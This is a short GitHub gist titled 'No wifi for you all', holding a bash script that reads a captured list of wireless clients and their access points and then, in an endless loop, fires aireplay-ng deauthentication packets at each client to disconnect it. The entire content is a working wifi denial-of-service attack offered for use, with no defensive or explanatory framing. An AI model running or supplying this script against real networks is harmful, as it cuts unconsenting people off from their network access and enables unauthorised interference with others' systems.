Skip to content

Instantly share code, notes, and snippets.

@lionaneesh
Last active August 29, 2015 14:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lionaneesh/6b3a99a876a32a896657 to your computer and use it in GitHub Desktop.
Save lionaneesh/6b3a99a876a32a896657 to your computer and use it in GitHub Desktop.
No wifi for you all
FILE="mypacket.csv-01.csv"
while :
do
for i in `cat victims-01.csv | awk '/Station MAC/{y=1;next;}y' | sed 's/, /,/g' | awk -F "," '/1/ {print $1 "|" $6}' | grep -v "(not associated)"`:
do
ACCESS_POINT=`echo "${i::35}" | awk -F "|" '{print $2}'`
DEVICE_P=`echo "${i::35}" | awk -F "|" '{print $1}'`
COUNTER=0
while [ $COUNTER -lt 40 ]; do
echo "$ACCESS_POINT $DEVICE_P"
sudo aireplay-ng -0 1 -a "$ACCESS_POINT" -c "$DEVICE_P" mon0 --ignore-negative-one;
let COUNTER=COUNTER+1
done
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment